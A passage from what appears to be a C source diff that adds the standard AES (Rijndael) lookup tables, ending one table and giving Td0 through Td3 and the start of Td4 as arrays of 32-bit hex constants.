0x51515151U, 0xa3a3a3a3U, 0x40404040U, 0x8f8f8f8fU, + 0x92929292U, 0x9d9d9d9dU, 0x38383838U, 0xf5f5f5f5U, + 0xbcbcbcbcU, 0xb6b6b6b6U, 0xdadadadaU, 0x21212121U, + 0x10101010U, 0xffffffffU, 0xf3f3f3f3U, 0xd2d2d2d2U, + 0xcdcdcdcdU, 0x0c0c0c0cU, 0x13131313U, 0xececececU, + 0x5f5f5f5fU, 0x97979797U, 0x44444444U, 0x17171717U, + 0xc4c4c4c4U, 0xa7a7a7a7U, 0x7e7e7e7eU, 0x3d3d3d3dU, + 0x64646464U, 0x5d5d5d5dU, 0x19191919U, 0x73737373U, + 0x60606060U, 0x81818181U, 0x4f4f4f4fU, 0xdcdcdcdcU, + 0x22222222U, 0x2a2a2a2aU, 0x90909090U, 0x88888888U, + 0x46464646U, 0xeeeeeeeeU, 0xb8b8b8b8U, 0x14141414U, + 0xdedededeU, 0x5e5e5e5eU, 0x0b0b0b0bU, 0xdbdbdbdbU, + 0xe0e0e0e0U, 0x32323232U, 0x3a3a3a3aU, 0x0a0a0a0aU, + 0x49494949U, 0x06060606U, 0x24242424U, 0x5c5c5c5cU, + 0xc2c2c2c2U, 0xd3d3d3d3U, 0xacacacacU, 0x62626262U, + 0x91919191U, 0x95959595U, 0xe4e4e4e4U, 0x79797979U, + 0xe7e7e7e7U, 0xc8c8c8c8U, 0x37373737U, 0x6d6d6d6dU, + 0x8d8d8d8dU, 0xd5d5d5d5U, 0x4e4e4e4eU, 0xa9a9a9a9U, + 0x6c6c6c6cU, 0x56565656U, 0xf4f4f4f4U, 0xeaeaeaeaU, + 0x65656565U, 0x7a7a7a7aU, 0xaeaeaeaeU, 0x08080808U, + 0xbabababaU, 0x78787878U, 0x25252525U, 0x2e2e2e2eU, + 0x1c1c1c1cU, 0xa6a6a6a6U, 0xb4b4b4b4U, 0xc6c6c6c6U, + 0xe8e8e8e8U, 0xddddddddU, 0x74747474U, 0x1f1f1f1fU, + 0x4b4b4b4bU, 0xbdbdbdbdU, 0x8b8b8b8bU, 0x8a8a8a8aU, + 0x70707070U, 0x3e3e3e3eU, 0xb5b5b5b5U, 0x66666666U, + 0x48484848U, 0x03030303U, 0xf6f6f6f6U, 0x0e0e0e0eU, + 0x61616161U, 0x35353535U, 0x57575757U, 0xb9b9b9b9U, + 0x86868686U, 0xc1c1c1c1U, 0x1d1d1d1dU, 0x9e9e9e9eU, + 0xe1e1e1e1U, 0xf8f8f8f8U, 0x98989898U, 0x11111111U, + 0x69696969U, 0xd9d9d9d9U, 0x8e8e8e8eU, 0x94949494U, + 0x9b9b9b9bU, 0x1e1e1e1eU, 0x87878787U, 0xe9e9e9e9U, + 0xcecececeU, 0x55555555U, 0x28282828U, 0xdfdfdfdfU, + 0x8c8c8c8cU, 0xa1a1a1a1U, 0x89898989U, 0x0d0d0d0dU, + 0xbfbfbfbfU, 0xe6e6e6e6U, 0x42424242U, 0x68686868U, + 0x41414141U, 0x99999999U, 0x2d2d2d2dU, 0x0f0f0f0fU, + 0xb0b0b0b0U, 0x54545454U, 0xbbbbbbbbU, 0x16161616U, +}; +static const u32 Td0[256] = { + 0x51f4a750U, 0x7e416553U, 0x1a17a4c3U, 0x3a275e96U, + 0x3bab6bcbU, 0x1f9d45f1U, 0xacfa58abU, 0x4be30393U, + 0x2030fa55U, 0xad766df6U, 0x88cc7691U, 0xf5024c25U, + 0x4fe5d7fcU, 0xc52acbd7U, 0x26354480U, 0xb562a38fU, + 0xdeb15a49U, 0x25ba1b67U, 0x45ea0e98U, 0x5dfec0e1U, + 0xc32f7502U, 0x814cf012U, 0x8d4697a3U, 0x6bd3f9c6U, + 0x038f5fe7U, 0x15929c95U, 0xbf6d7aebU, 0x955259daU, + 0xd4be832dU, 0x587421d3U, 0x49e06929U, 0x8ec9c844U, + 0x75c2896aU, 0xf48e7978U, 0x99583e6bU, 0x27b971ddU, + 0xbee14fb6U, 0xf088ad17U, 0xc920ac66U, 0x7dce3ab4U, + 0x63df4a18U, 0xe51a3182U, 0x97513360U, 0x62537f45U, + 0xb16477e0U, 0xbb6bae84U, 0xfe81a01cU, 0xf9082b94U, + 0x70486858U, 0x8f45fd19U, 0x94de6c87U, 0x527bf8b7U, + 0xab73d323U, 0x724b02e2U, 0xe31f8f57U, 0x6655ab2aU, + 0xb2eb2807U, 0x2fb5c203U, 0x86c57b9aU, 0xd33708a5U, + 0x302887f2U, 0x23bfa5b2U, 0x02036abaU, 0xed16825cU, + 0x8acf1c2bU, 0xa779b492U, 0xf307f2f0U, 0x4e69e2a1U, + 0x65daf4cdU, 0x0605bed5U, 0xd134621fU, 0xc4a6fe8aU, + 0x342e539dU, 0xa2f355a0U, 0x058ae132U, 0xa4f6eb75U, + 0x0b83ec39U, 0x4060efaaU, 0x5e719f06U, 0xbd6e1051U, + 0x3e218af9U, 0x96dd063dU, 0xdd3e05aeU, 0x4de6bd46U, + 0x91548db5U, 0x71c45d05U, 0x0406d46fU, 0x605015ffU, + 0x1998fb24U, 0xd6bde997U, 0x894043ccU, 0x67d99e77U, + 0xb0e842bdU, 0x07898b88U, 0xe7195b38U, 0x79c8eedbU, + 0xa17c0a47U, 0x7c420fe9U, 0xf8841ec9U, 0x00000000U, + 0x09808683U, 0x322bed48U, 0x1e1170acU, 0x6c5a724eU, + 0xfd0efffbU, 0x0f853856U, 0x3daed51eU, 0x362d3927U, + 0x0a0fd964U, 0x685ca621U, 0x9b5b54d1U, 0x24362e3aU, + 0x0c0a67b1U, 0x9357e70fU, 0xb4ee96d2U, 0x1b9b919eU, + 0x80c0c54fU, 0x61dc20a2U, 0x5a774b69U, 0x1c121a16U, + 0xe293ba0aU, 0xc0a02ae5U, 0x3c22e043U, 0x121b171dU, + 0x0e090d0bU, 0xf28bc7adU, 0x2db6a8b9U, 0x141ea9c8U, + 0x57f11985U, 0xaf75074cU, 0xee99ddbbU, 0xa37f60fdU, + 0xf701269fU, 0x5c72f5bcU, 0x44663bc5U, 0x5bfb7e34U, + 0x8b432976U, 0xcb23c6dcU, 0xb6edfc68U, 0xb8e4f163U, + 0xd731dccaU, 0x42638510U, 0x13972240U, 0x84c61120U, + 0x854a247dU, 0xd2bb3df8U, 0xaef93211U, 0xc729a16dU, + 0x1d9e2f4bU, 0xdcb230f3U, 0x0d8652ecU, 0x77c1e3d0U, + 0x2bb3166cU, 0xa970b999U, 0x119448faU, 0x47e96422U, + 0xa8fc8cc4U, 0xa0f03f1aU, 0x567d2cd8U, 0x223390efU, + 0x87494ec7U, 0xd938d1c1U, 0x8ccaa2feU, 0x98d40b36U, + 0xa6f581cfU, 0xa57ade28U, 0xdab78e26U, 0x3fadbfa4U, + 0x2c3a9de4U, 0x5078920dU, 0x6a5fcc9bU, 0x547e4662U, + 0xf68d13c2U, 0x90d8b8e8U, 0x2e39f75eU, 0x82c3aff5U, + 0x9f5d80beU, 0x69d0937cU, 0x6fd52da9U, 0xcf2512b3U, + 0xc8ac993bU, 0x10187da7U, 0xe89c636eU, 0xdb3bbb7bU, + 0xcd267809U, 0x6e5918f4U, 0xec9ab701U, 0x834f9aa8U, + 0xe6956e65U, 0xaaffe67eU, 0x21bccf08U, 0xef15e8e6U, + 0xbae79bd9U, 0x4a6f36ceU, 0xea9f09d4U, 0x29b07cd6U, + 0x31a4b2afU, 0x2a3f2331U, 0xc6a59430U, 0x35a266c0U, + 0x744ebc37U, 0xfc82caa6U, 0xe090d0b0U, 0x33a7d815U, + 0xf104984aU, 0x41ecdaf7U, 0x7fcd500eU, 0x1791f62fU, + 0x764dd68dU, 0x43efb04dU, 0xccaa4d54U, 0xe49604dfU, + 0x9ed1b5e3U, 0x4c6a881bU, 0xc12c1fb8U, 0x4665517fU, + 0x9d5eea04U, 0x018c355dU, 0xfa877473U, 0xfb0b412eU, + 0xb3671d5aU, 0x92dbd252U, 0xe9105633U, 0x6dd64713U, + 0x9ad7618cU, 0x37a10c7aU, 0x59f8148eU, 0xeb133c89U, + 0xcea927eeU, 0xb761c935U, 0xe11ce5edU, 0x7a47b13cU, + 0x9cd2df59U, 0x55f2733fU, 0x1814ce79U, 0x73c737bfU, + 0x53f7cdeaU, 0x5ffdaa5bU, 0xdf3d6f14U, 0x7844db86U, + 0xcaaff381U, 0xb968c43eU, 0x3824342cU, 0xc2a3405fU, + 0x161dc372U, 0xbce2250cU, 0x283c498bU, 0xff0d9541U, + 0x39a80171U, 0x080cb3deU, 0xd8b4e49cU, 0x6456c190U, + 0x7bcb8461U, 0xd532b670U, 0x486c5c74U, 0xd0b85742U, +}; +static const u32 Td1[256] = { + 0x5051f4a7U, 0x537e4165U, 0xc31a17a4U, 0x963a275eU, + 0xcb3bab6bU, 0xf11f9d45U, 0xabacfa58U, 0x934be303U, + 0x552030faU, 0xf6ad766dU, 0x9188cc76U, 0x25f5024cU, + 0xfc4fe5d7U, 0xd7c52acbU, 0x80263544U, 0x8fb562a3U, + 0x49deb15aU, 0x6725ba1bU, 0x9845ea0eU, 0xe15dfec0U, + 0x02c32f75U, 0x12814cf0U, 0xa38d4697U, 0xc66bd3f9U, + 0xe7038f5fU, 0x9515929cU, 0xebbf6d7aU, 0xda955259U, + 0x2dd4be83U, 0xd3587421U, 0x2949e069U, 0x448ec9c8U, + 0x6a75c289U, 0x78f48e79U, 0x6b99583eU, 0xdd27b971U, + 0xb6bee14fU, 0x17f088adU, 0x66c920acU, 0xb47dce3aU, + 0x1863df4aU, 0x82e51a31U, 0x60975133U, 0x4562537fU, + 0xe0b16477U, 0x84bb6baeU, 0x1cfe81a0U, 0x94f9082bU, + 0x58704868U, 0x198f45fdU, 0x8794de6cU, 0xb7527bf8U, + 0x23ab73d3U, 0xe2724b02U, 0x57e31f8fU, 0x2a6655abU, + 0x07b2eb28U, 0x032fb5c2U, 0x9a86c57bU, 0xa5d33708U, + 0xf2302887U, 0xb223bfa5U, 0xba02036aU, 0x5ced1682U, + 0x2b8acf1cU, 0x92a779b4U, 0xf0f307f2U, 0xa14e69e2U, + 0xcd65daf4U, 0xd50605beU, 0x1fd13462U, 0x8ac4a6feU, + 0x9d342e53U, 0xa0a2f355U, 0x32058ae1U, 0x75a4f6ebU, + 0x390b83ecU, 0xaa4060efU, 0x065e719fU, 0x51bd6e10U, + 0xf93e218aU, 0x3d96dd06U, 0xaedd3e05U, 0x464de6bdU, + 0xb591548dU, 0x0571c45dU, 0x6f0406d4U, 0xff605015U, + 0x241998fbU, 0x97d6bde9U, 0xcc894043U, 0x7767d99eU, + 0xbdb0e842U, 0x8807898bU, 0x38e7195bU, 0xdb79c8eeU, + 0x47a17c0aU, 0xe97c420fU, 0xc9f8841eU, 0x00000000U, + 0x83098086U, 0x48322bedU, 0xac1e1170U, 0x4e6c5a72U, + 0xfbfd0effU, 0x560f8538U, 0x1e3daed5U, 0x27362d39U, + 0x640a0fd9U, 0x21685ca6U, 0xd19b5b54U, 0x3a24362eU, + 0xb10c0a67U, 0x0f9357e7U, 0xd2b4ee96U, 0x9e1b9b91U, + 0x4f80c0c5U, 0xa261dc20U, 0x695a774bU, 0x161c121aU, + 0x0ae293baU, 0xe5c0a02aU, 0x433c22e0U, 0x1d121b17U, + 0x0b0e090dU, 0xadf28bc7U, 0xb92db6a8U, 0xc8141ea9U, + 0x8557f119U, 0x4caf7507U, 0xbbee99ddU, 0xfda37f60U, + 0x9ff70126U, 0xbc5c72f5U, 0xc544663bU, 0x345bfb7eU, + 0x768b4329U, 0xdccb23c6U, 0x68b6edfcU, 0x63b8e4f1U, + 0xcad731dcU, 0x10426385U, 0x40139722U, 0x2084c611U, + 0x7d854a24U, 0xf8d2bb3dU, 0x11aef932U, 0x6dc729a1U, + 0x4b1d9e2fU, 0xf3dcb230U, 0xec0d8652U, 0xd077c1e3U, + 0x6c2bb316U, 0x99a970b9U, 0xfa119448U, 0x2247e964U, + 0xc4a8fc8cU, 0x1aa0f03fU, 0xd8567d2cU, 0xef223390U, + 0xc787494eU, 0xc1d938d1U, 0xfe8ccaa2U, 0x3698d40bU, + 0xcfa6f581U, 0x28a57adeU, 0x26dab78eU, 0xa43fadbfU, + 0xe42c3a9dU, 0x0d507892U, 0x9b6a5fccU, 0x62547e46U, + 0xc2f68d13U, 0xe890d8b8U, 0x5e2e39f7U, 0xf582c3afU, + 0xbe9f5d80U, 0x7c69d093U, 0xa96fd52dU, 0xb3cf2512U, + 0x3bc8ac99U, 0xa710187dU, 0x6ee89c63U, 0x7bdb3bbbU, + 0x09cd2678U, 0xf46e5918U, 0x01ec9ab7U, 0xa8834f9aU, + 0x65e6956eU, 0x7eaaffe6U, 0x0821bccfU, 0xe6ef15e8U, + 0xd9bae79bU, 0xce4a6f36U, 0xd4ea9f09U, 0xd629b07cU, + 0xaf31a4b2U, 0x312a3f23U, 0x30c6a594U, 0xc035a266U, + 0x37744ebcU, 0xa6fc82caU, 0xb0e090d0U, 0x1533a7d8U, + 0x4af10498U, 0xf741ecdaU, 0x0e7fcd50U, 0x2f1791f6U, + 0x8d764dd6U, 0x4d43efb0U, 0x54ccaa4dU, 0xdfe49604U, + 0xe39ed1b5U, 0x1b4c6a88U, 0xb8c12c1fU, 0x7f466551U, + 0x049d5eeaU, 0x5d018c35U, 0x73fa8774U, 0x2efb0b41U, + 0x5ab3671dU, 0x5292dbd2U, 0x33e91056U, 0x136dd647U, + 0x8c9ad761U, 0x7a37a10cU, 0x8e59f814U, 0x89eb133cU, + 0xeecea927U, 0x35b761c9U, 0xede11ce5U, 0x3c7a47b1U, + 0x599cd2dfU, 0x3f55f273U, 0x791814ceU, 0xbf73c737U, + 0xea53f7cdU, 0x5b5ffdaaU, 0x14df3d6fU, 0x867844dbU, + 0x81caaff3U, 0x3eb968c4U, 0x2c382434U, 0x5fc2a340U, + 0x72161dc3U, 0x0cbce225U, 0x8b283c49U, 0x41ff0d95U, + 0x7139a801U, 0xde080cb3U, 0x9cd8b4e4U, 0x906456c1U, + 0x617bcb84U, 0x70d532b6U, 0x74486c5cU, 0x42d0b857U, +}; +static const u32 Td2[256] = { + 0xa75051f4U, 0x65537e41U, 0xa4c31a17U, 0x5e963a27U, + 0x6bcb3babU, 0x45f11f9dU, 0x58abacfaU, 0x03934be3U, + 0xfa552030U, 0x6df6ad76U, 0x769188ccU, 0x4c25f502U, + 0xd7fc4fe5U, 0xcbd7c52aU, 0x44802635U, 0xa38fb562U, + 0x5a49deb1U, 0x1b6725baU, 0x0e9845eaU, 0xc0e15dfeU, + 0x7502c32fU, 0xf012814cU, 0x97a38d46U, 0xf9c66bd3U, + 0x5fe7038fU, 0x9c951592U, 0x7aebbf6dU, 0x59da9552U, + 0x832dd4beU, 0x21d35874U, 0x692949e0U, 0xc8448ec9U, + 0x896a75c2U, 0x7978f48eU, 0x3e6b9958U, 0x71dd27b9U, + 0x4fb6bee1U, 0xad17f088U, 0xac66c920U, 0x3ab47dceU, + 0x4a1863dfU, 0x3182e51aU, 0x33609751U, 0x7f456253U, + 0x77e0b164U, 0xae84bb6bU, 0xa01cfe81U, 0x2b94f908U, + 0x68587048U, 0xfd198f45U, 0x6c8794deU, 0xf8b7527bU, + 0xd323ab73U, 0x02e2724bU, 0x8f57e31fU, 0xab2a6655U, + 0x2807b2ebU, 0xc2032fb5U, 0x7b9a86c5U, 0x08a5d337U, + 0x87f23028U, 0xa5b223bfU, 0x6aba0203U, 0x825ced16U, + 0x1c2b8acfU, 0xb492a779U, 0xf2f0f307U, 0xe2a14e69U, + 0xf4cd65daU, 0xbed50605U, 0x621fd134U, 0xfe8ac4a6U, + 0x539d342eU, 0x55a0a2f3U, 0xe132058aU, 0xeb75a4f6U, + 0xec390b83U, 0xefaa4060U, 0x9f065e71U, 0x1051bd6eU, + 0x8af93e21U, 0x063d96ddU, 0x05aedd3eU, 0xbd464de6U, + 0x8db59154U, 0x5d0571c4U, 0xd46f0406U, 0x15ff6050U, + 0xfb241998U, 0xe997d6bdU, 0x43cc8940U, 0x9e7767d9U, + 0x42bdb0e8U, 0x8b880789U, 0x5b38e719U, 0xeedb79c8U, + 0x0a47a17cU, 0x0fe97c42U, 0x1ec9f884U, 0x00000000U, + 0x86830980U, 0xed48322bU, 0x70ac1e11U, 0x724e6c5aU, + 0xfffbfd0eU, 0x38560f85U, 0xd51e3daeU, 0x3927362dU, + 0xd9640a0fU, 0xa621685cU, 0x54d19b5bU, 0x2e3a2436U, + 0x67b10c0aU, 0xe70f9357U, 0x96d2b4eeU, 0x919e1b9bU, + 0xc54f80c0U, 0x20a261dcU, 0x4b695a77U, 0x1a161c12U, + 0xba0ae293U, 0x2ae5c0a0U, 0xe0433c22U, 0x171d121bU, + 0x0d0b0e09U, 0xc7adf28bU, 0xa8b92db6U, 0xa9c8141eU, + 0x198557f1U, 0x074caf75U, 0xddbbee99U, 0x60fda37fU, + 0x269ff701U, 0xf5bc5c72U, 0x3bc54466U, 0x7e345bfbU, + 0x29768b43U, 0xc6dccb23U, 0xfc68b6edU, 0xf163b8e4U, + 0xdccad731U, 0x85104263U, 0x22401397U, 0x112084c6U, + 0x247d854aU, 0x3df8d2bbU, 0x3211aef9U, 0xa16dc729U, + 0x2f4b1d9eU, 0x30f3dcb2U, 0x52ec0d86U, 0xe3d077c1U, + 0x166c2bb3U, 0xb999a970U, 0x48fa1194U, 0x642247e9U, + 0x8cc4a8fcU, 0x3f1aa0f0U, 0x2cd8567dU, 0x90ef2233U, + 0x4ec78749U, 0xd1c1d938U, 0xa2fe8ccaU, 0x0b3698d4U, + 0x81cfa6f5U, 0xde28a57aU, 0x8e26dab7U, 0xbfa43fadU, + 0x9de42c3aU, 0x920d5078U, 0xcc9b6a5fU, 0x4662547eU, + 0x13c2f68dU, 0xb8e890d8U, 0xf75e2e39U, 0xaff582c3U, + 0x80be9f5dU, 0x937c69d0U, 0x2da96fd5U, 0x12b3cf25U, + 0x993bc8acU, 0x7da71018U, 0x636ee89cU, 0xbb7bdb3bU, + 0x7809cd26U, 0x18f46e59U, 0xb701ec9aU, 0x9aa8834fU, + 0x6e65e695U, 0xe67eaaffU, 0xcf0821bcU, 0xe8e6ef15U, + 0x9bd9bae7U, 0x36ce4a6fU, 0x09d4ea9fU, 0x7cd629b0U, + 0xb2af31a4U, 0x23312a3fU, 0x9430c6a5U, 0x66c035a2U, + 0xbc37744eU, 0xcaa6fc82U, 0xd0b0e090U, 0xd81533a7U, + 0x984af104U, 0xdaf741ecU, 0x500e7fcdU, 0xf62f1791U, + 0xd68d764dU, 0xb04d43efU, 0x4d54ccaaU, 0x04dfe496U, + 0xb5e39ed1U, 0x881b4c6aU, 0x1fb8c12cU, 0x517f4665U, + 0xea049d5eU, 0x355d018cU, 0x7473fa87U, 0x412efb0bU, + 0x1d5ab367U, 0xd25292dbU, 0x5633e910U, 0x47136dd6U, + 0x618c9ad7U, 0x0c7a37a1U, 0x148e59f8U, 0x3c89eb13U, + 0x27eecea9U, 0xc935b761U, 0xe5ede11cU, 0xb13c7a47U, + 0xdf599cd2U, 0x733f55f2U, 0xce791814U, 0x37bf73c7U, + 0xcdea53f7U, 0xaa5b5ffdU, 0x6f14df3dU, 0xdb867844U, + 0xf381caafU, 0xc43eb968U, 0x342c3824U, 0x405fc2a3U, + 0xc372161dU, 0x250cbce2U, 0x498b283cU, 0x9541ff0dU, + 0x017139a8U, 0xb3de080cU, 0xe49cd8b4U, 0xc1906456U, + 0x84617bcbU, 0xb670d532U, 0x5c74486cU, 0x5742d0b8U, +}; +static const u32 Td3[256] = { + 0xf4a75051U, 0x4165537eU, 0x17a4c31aU, 0x275e963aU, + 0xab6bcb3bU, 0x9d45f11fU, 0xfa58abacU, 0xe303934bU, + 0x30fa5520U, 0x766df6adU, 0xcc769188U, 0x024c25f5U, + 0xe5d7fc4fU, 0x2acbd7c5U, 0x35448026U, 0x62a38fb5U, + 0xb15a49deU, 0xba1b6725U, 0xea0e9845U, 0xfec0e15dU, + 0x2f7502c3U, 0x4cf01281U, 0x4697a38dU, 0xd3f9c66bU, + 0x8f5fe703U, 0x929c9515U, 0x6d7aebbfU, 0x5259da95U, + 0xbe832dd4U, 0x7421d358U, 0xe0692949U, 0xc9c8448eU, + 0xc2896a75U, 0x8e7978f4U, 0x583e6b99U, 0xb971dd27U, + 0xe14fb6beU, 0x88ad17f0U, 0x20ac66c9U, 0xce3ab47dU, + 0xdf4a1863U, 0x1a3182e5U, 0x51336097U, 0x537f4562U, + 0x6477e0b1U, 0x6bae84bbU, 0x81a01cfeU, 0x082b94f9U, + 0x48685870U, 0x45fd198fU, 0xde6c8794U, 0x7bf8b752U, + 0x73d323abU, 0x4b02e272U, 0x1f8f57e3U, 0x55ab2a66U, + 0xeb2807b2U, 0xb5c2032fU, 0xc57b9a86U, 0x3708a5d3U, + 0x2887f230U, 0xbfa5b223U, 0x036aba02U, 0x16825cedU, + 0xcf1c2b8aU, 0x79b492a7U, 0x07f2f0f3U, 0x69e2a14eU, + 0xdaf4cd65U, 0x05bed506U, 0x34621fd1U, 0xa6fe8ac4U, + 0x2e539d34U, 0xf355a0a2U, 0x8ae13205U, 0xf6eb75a4U, + 0x83ec390bU, 0x60efaa40U, 0x719f065eU, 0x6e1051bdU, + 0x218af93eU, 0xdd063d96U, 0x3e05aeddU, 0xe6bd464dU, + 0x548db591U, 0xc45d0571U, 0x06d46f04U, 0x5015ff60U, + 0x98fb2419U, 0xbde997d6U, 0x4043cc89U, 0xd99e7767U, + 0xe842bdb0U, 0x898b8807U, 0x195b38e7U, 0xc8eedb79U, + 0x7c0a47a1U, 0x420fe97cU, 0x841ec9f8U, 0x00000000U, + 0x80868309U, 0x2bed4832U, 0x1170ac1eU, 0x5a724e6cU, + 0x0efffbfdU, 0x8538560fU, 0xaed51e3dU, 0x2d392736U, + 0x0fd9640aU, 0x5ca62168U, 0x5b54d19bU, 0x362e3a24U, + 0x0a67b10cU, 0x57e70f93U, 0xee96d2b4U, 0x9b919e1bU, + 0xc0c54f80U, 0xdc20a261U, 0x774b695aU, 0x121a161cU, + 0x93ba0ae2U, 0xa02ae5c0U, 0x22e0433cU, 0x1b171d12U, + 0x090d0b0eU, 0x8bc7adf2U, 0xb6a8b92dU, 0x1ea9c814U, + 0xf1198557U, 0x75074cafU, 0x99ddbbeeU, 0x7f60fda3U, + 0x01269ff7U, 0x72f5bc5cU, 0x663bc544U, 0xfb7e345bU, + 0x4329768bU, 0x23c6dccbU, 0xedfc68b6U, 0xe4f163b8U, + 0x31dccad7U, 0x63851042U, 0x97224013U, 0xc6112084U, + 0x4a247d85U, 0xbb3df8d2U, 0xf93211aeU, 0x29a16dc7U, + 0x9e2f4b1dU, 0xb230f3dcU, 0x8652ec0dU, 0xc1e3d077U, + 0xb3166c2bU, 0x70b999a9U, 0x9448fa11U, 0xe9642247U, + 0xfc8cc4a8U, 0xf03f1aa0U, 0x7d2cd856U, 0x3390ef22U, + 0x494ec787U, 0x38d1c1d9U, 0xcaa2fe8cU, 0xd40b3698U, + 0xf581cfa6U, 0x7ade28a5U, 0xb78e26daU, 0xadbfa43fU, + 0x3a9de42cU, 0x78920d50U, 0x5fcc9b6aU, 0x7e466254U, + 0x8d13c2f6U, 0xd8b8e890U, 0x39f75e2eU, 0xc3aff582U, + 0x5d80be9fU, 0xd0937c69U, 0xd52da96fU, 0x2512b3cfU, + 0xac993bc8U, 0x187da710U, 0x9c636ee8U, 0x3bbb7bdbU, + 0x267809cdU, 0x5918f46eU, 0x9ab701ecU, 0x4f9aa883U, + 0x956e65e6U, 0xffe67eaaU, 0xbccf0821U, 0x15e8e6efU, + 0xe79bd9baU, 0x6f36ce4aU, 0x9f09d4eaU, 0xb07cd629U, + 0xa4b2af31U, 0x3f23312aU, 0xa59430c6U, 0xa266c035U, + 0x4ebc3774U, 0x82caa6fcU, 0x90d0b0e0U, 0xa7d81533U, + 0x04984af1U, 0xecdaf741U, 0xcd500e7fU, 0x91f62f17U, + 0x4dd68d76U, 0xefb04d43U, 0xaa4d54ccU, 0x9604dfe4U, + 0xd1b5e39eU, 0x6a881b4cU, 0x2c1fb8c1U, 0x65517f46U, + 0x5eea049dU, 0x8c355d01U, 0x877473faU, 0x0b412efbU, + 0x671d5ab3U, 0xdbd25292U, 0x105633e9U, 0xd647136dU, + 0xd7618c9aU, 0xa10c7a37U, 0xf8148e59U, 0x133c89ebU, + 0xa927eeceU, 0x61c935b7U, 0x1ce5ede1U, 0x47b13c7aU, + 0xd2df599cU, 0xf2733f55U, 0x14ce7918U, 0xc737bf73U, + 0xf7cdea53U, 0xfdaa5b5fU, 0x3d6f14dfU, 0x44db8678U, + 0xaff381caU, 0x68c43eb9U, 0x24342c38U, 0xa3405fc2U, + 0x1dc37216U, 0xe2250cbcU, 0x3c498b28U, 0x0d9541ffU, + 0xa8017139U, 0x0cb3de08U, 0xb4e49cd8U, 0x56c19064U, + 0xcb84617bU, 0x32b670d5U, 0x6c5c7448U, 0xb85742d0U, +}; +static const u32 Td4[256] = { + 0x52525252U, 0x09090909U, 0x6a6a6a6aU, 0xd5d5d5d5U, + 0x30303030U, 0x36363636U, 0xa5a5a5a5U, 0x38383838U, + 0xbfbfbfbfU, 0x40404040U, 0xa3a3a3a3U, 0x9e9e9e9eU, + 0x81818181U, 0xf3f3f3f3U, 0xd7d7d7d7U, 0xfbfbfbfbU, + 0x7c7c7c7cU, 0xe3e3e3e3U, 0x39393939U, 0x82828282U, + 0x9b9b9b9bU, 0x2f2f2f2fU, 0xffffffffU, 0x87878787U, + 0x34343434U, 0x8e8e8e8eU, 0x43434343U, 0x44444444U, + 0xc4c4c4c4U, 0xdedededeU, 0xe9e9e9e9U, 0xcbcbcbcbU, + 0x54545454U, 0x7b7b7b7bU, 0x94949494U, 0x32323232U, + 0xa6a6a6a6U, 0xc2c2c2c2U, 0x23232323U, 0x3d3d3d3dU, + 0xeeeeeeeeU, 0x4c4c4c4cU, 0x95959595U, 0x0b0b0b0bU, + 0x42424242U, 0xfafafafaU, 0xc3c3c3c3U, 0x4e4e4e4eU, + 0x08080808U, 0x2e2e2e2eU, 0xa1a1a1a1U, 0x66666666U, + 0x28282828U, 0xd9d9d9d9U, 0x24242424U, 0xb2b2b2b2U, + 0x76767676U, 0x5b5b5b5bU, 0xa2a2a2a2U, 0x49494949U, + 0x6d6d6d6dU, 0x8b8b8b8bU, 0xd1d1d1d1U, 0x25252525U, + 0x72727272U, 0xf8f8f8f8U, 0xf6f6f6f6U, 0x64646464U, + 0x86868686U, 0x68686868U, 0x98989898U, 0x16161616U, + 0xd4d4d4d4U, 0xa4a4a4a4U, 0x5c5c5c5cU, 0xccccccccU, + 0x5d5d5d5dU, 0x65656565U, 0xb6b6b6b6U, 0x92929292U, + 0x6c6c6c6cU, 0x70707070U, 0x48484848U, 0x50505050U, + 0xfdfdfdfdU, 0xededededU, 0xb9b9b9b9U, 0xdadadadaU, + 0x5e5e5e5eU, 0x15151515U, 0x46464646U, 0x57575757U, + 0xa7a7a7a7U, 0x8d8d8d8dU, 0x9d9d9d9dU, 0x84848484U, + 0x90909090U, 0xd8d8d8d8U, 0xababababU, 0x00000000U, + 0x8c8c8c8cU, 0xbcbcbcbcU, 0xd3d3d3d3U, 0x0a0a0a0aU, + 0xf7f7f7f7U, 0xe4e4e4e4U, 0x58585858U, 0x05050505U, + 0xb8b8b8b8U, 0xb3b3b3b3U, 0x45454545U, 0x06060606U, + 0xd0d0d0d0U, 0x2c2c2c2cU, 0x1e1e1e1eU, 0x8f8f8f8fU, + 0xcacacacaU, 0x3f3f3f3fU, 0x0f0f0f0fU, 0x02020202U, + 0xc1c1c1c1U, 0xafafafafU, 0xbdbdbdbdU, 0x03030303U, + 0x01010101U, 0x13131313U, 0x8a8a8a8aU, 0x6b6b6b6bU, + 0x3a3a3a3aU, 0x91919191U, 0x11111111U, 0x41414141U, + 0x4f4f4f4fU, 0x67676767U, 0xdcdcdcdcU, 0xeaeaeaeaU, + 0x97979797U, 0xf2f2f2f2U, 0xcfcfcfcfU, 0xcecececeU, + 0xf0f0f0f0U, 0xb4b4b4b4U, 0xe6e6e6e6U, 0x73737373U, + 0x96969696U, 0xacacacacU, 0x74747474U, 0x22222222U, + 0xe7e7e7e7U, 0xadadadadU, 0x35353535U, 0x85858585U, + 0xe2e2e2e2U, 0xf9f9f9f9U, 0x37373737U, 0xe8e8e8e8U, + 0x1c1c1c1cU, 0x75757575U, 0xdfdfdfdfU, 0x6e6e6e6eU, + 0x47474747U, 0xf1f1f1f1U, 0x1a1a1a1aU, 0x71717171U, + 0x1d1d1d1dU, 0x29292929U, 0xc5c5c5c5U, 0x89898989U, + 0x6f6f6f6fU, 0xb7b7b7b7U, 0x62626262U, 0x0e0e0e0eU, + 0xaaaaaaaaU, 0x18181818U, 0xbebebebeU, 0x1b1b1b1bU, + 0xfcfcfcfcU, 0x56565656U, 0x3e3e3e3eU, 0x4b4b4b4bU, + 0xc6c6c6c6U, 0xd2d2d2d2U, 0x79797979U, 0x20202020U, + 0x9a9a9a9aU, 0xdbdbdbdbU, 0xc0c0c0c0U, 0xfefefefeU, + 0x78787878U, 0xcdcdcdcdU, 0x5a5a5a5aU, 0xf4f4f4f4U, + 0x1f1f1f1fU, 0xddddddddU, 0xa8a8a8a8U, 0x33333333U, + 0x88888888U, 0x07070707U, 0xc7c7c7c7U, 0x31313131U, + 0xb1b1b1b1U, 0x12121212U, 0x10101010U, 0x59595959U, + 0x27272727U, 0x80808080U, 0xececececU, 0x5f5f5f5fU, + 0x60606060U, 0x51515151U, 0x7f7f7f7fU, 0xa9a9a9a9U, + 0x19191919U, 0xb5b5b5b5U, 0x4a4a4a4aU, 0x0d0d0d0dU, + 0x2d2d2d2dU, 0xe5e5e5e5U, 0x7a7a7a7aU, 